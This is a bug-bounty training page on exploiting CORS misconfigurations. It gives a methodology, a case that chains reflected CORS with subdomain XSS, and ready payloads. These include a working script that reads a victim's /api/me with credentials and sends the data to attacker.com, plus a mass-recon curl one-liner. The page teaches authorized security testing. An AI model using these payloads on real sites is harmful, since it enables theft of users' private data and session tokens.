CORS Misconfiguration
Data exfiltration via misconfigured origins
Quick answer
What is CORS Misconfiguration?
A CORS misconfiguration lets malicious sites read the victim's API responses using the credentials in the user's browser. It's especially dangerous when combined with Allow-Credentials.
Severity
High
Frequency
Common
Payloads
7
Steps
5
Severity
High
Frequency
Common
Payloads
7
CORS defines which origins can read an API's responses. If the server reflects any Origin into Access-Control-Allow-Origin with Allow-Credentials: true, an attacker can read the authenticated user's data from their own domain.
Where to look
API endpoints with sensitive data
GET /api/me, /api/profile, /api/settings — any endpoint that returns private data.
APIs with credentials
Endpoints that require session cookies or tokens to work.
Subdomains with XSS
If CORS allows *.target.com, an XSS on any subdomain lets you exploit the misconfig.
Methodology
Look for CORS headers
Intercept responses and look for Access-Control-Allow-Origin on API endpoints.
Send a malicious Origin
curl -H 'Origin: https://evil.com' https://target.com/api/me — is it reflected?
Check Credentials
Access-Control-Allow-Credentials: true? Without it, cookies aren't sent and it's not exploitable.
Try variations
Origin: null, Origin: http://target.com.evil.com, Origin: http://evil-target.com
Exploit
If it reflects + credentials → build a page that does fetch() with credentials:include and sends the data to your server.
Real-world case
CORS reflect origin + subdomain XSS → Account Takeover
Detect permissive CORS
The /api/me API reflects any subdomain of target.com with Allow-Credentials: true.
Find XSS on a subdomain
Reflected XSS in blog.target.com/search?q=<script>...
Combine
From blog.target.com (allowed by CORS), the XSS fetches api.target.com/api/me with credentials.
Exfiltrate
The user's data (email, tokens) is sent to the attacker's server.
Lesson: Permissive CORS with subdomains + XSS on any subdomain = full exfiltration. Audit every subdomain when you see CORS with a subdomain wildcard.
Payloads
Basic test
curl -H 'Origin: https://evil.com' -v https://target.com/api/me
Origin null
curl -H 'Origin: null' -v https://target.com/api/me
Subdomain matching
curl -H 'Origin: https://target.com.evil.com' -v https://target.com/api/me
Regex bypass
curl -H 'Origin: https://evil-target.com' -v https://target.com/api/me
Advanced payloads(account required)
Full HTML PoC
<script>fetch('https://target.com/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))</script>Mass recon
subfinder -d target.com | httpx | parallel -j 50 curl -sk -H 'Origin: https://evil.com' -o /dev/null -D - {} | grep -i 'access-control'Null origin via sandbox
<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch(...)...</script>">
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
CORScanner
Automatically scans for CORS misconfigurations.
python3 cors_scan.py -u https://target.com
Burp Suite
Filter responses containing CORS headers for manual analysis.
Proxy → buscar 'Access-Control-Allow-Origin' en responses
Tips
No Credentials = not exploitable
Without Allow-Credentials: true, cookies aren't sent and you can't reach the user's data.
Look for XSS on subdomains
If CORS allows *.target.com, an XSS on any subdomain lets you exploit the misconfig.
Origin: null is dangerous
It can be sent from sandboxed iframes. If the API accepts null → exploitable.
Contenido relacionado
hunters training
labs from real hacks
completions
paid out for these bugs
The checklist I run on every new target
47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.
Unsubscribe in one click, from any email.
Practice CORS Misconfiguration with real labs
Apply these techniques in safe environments based on real bug bounty reports.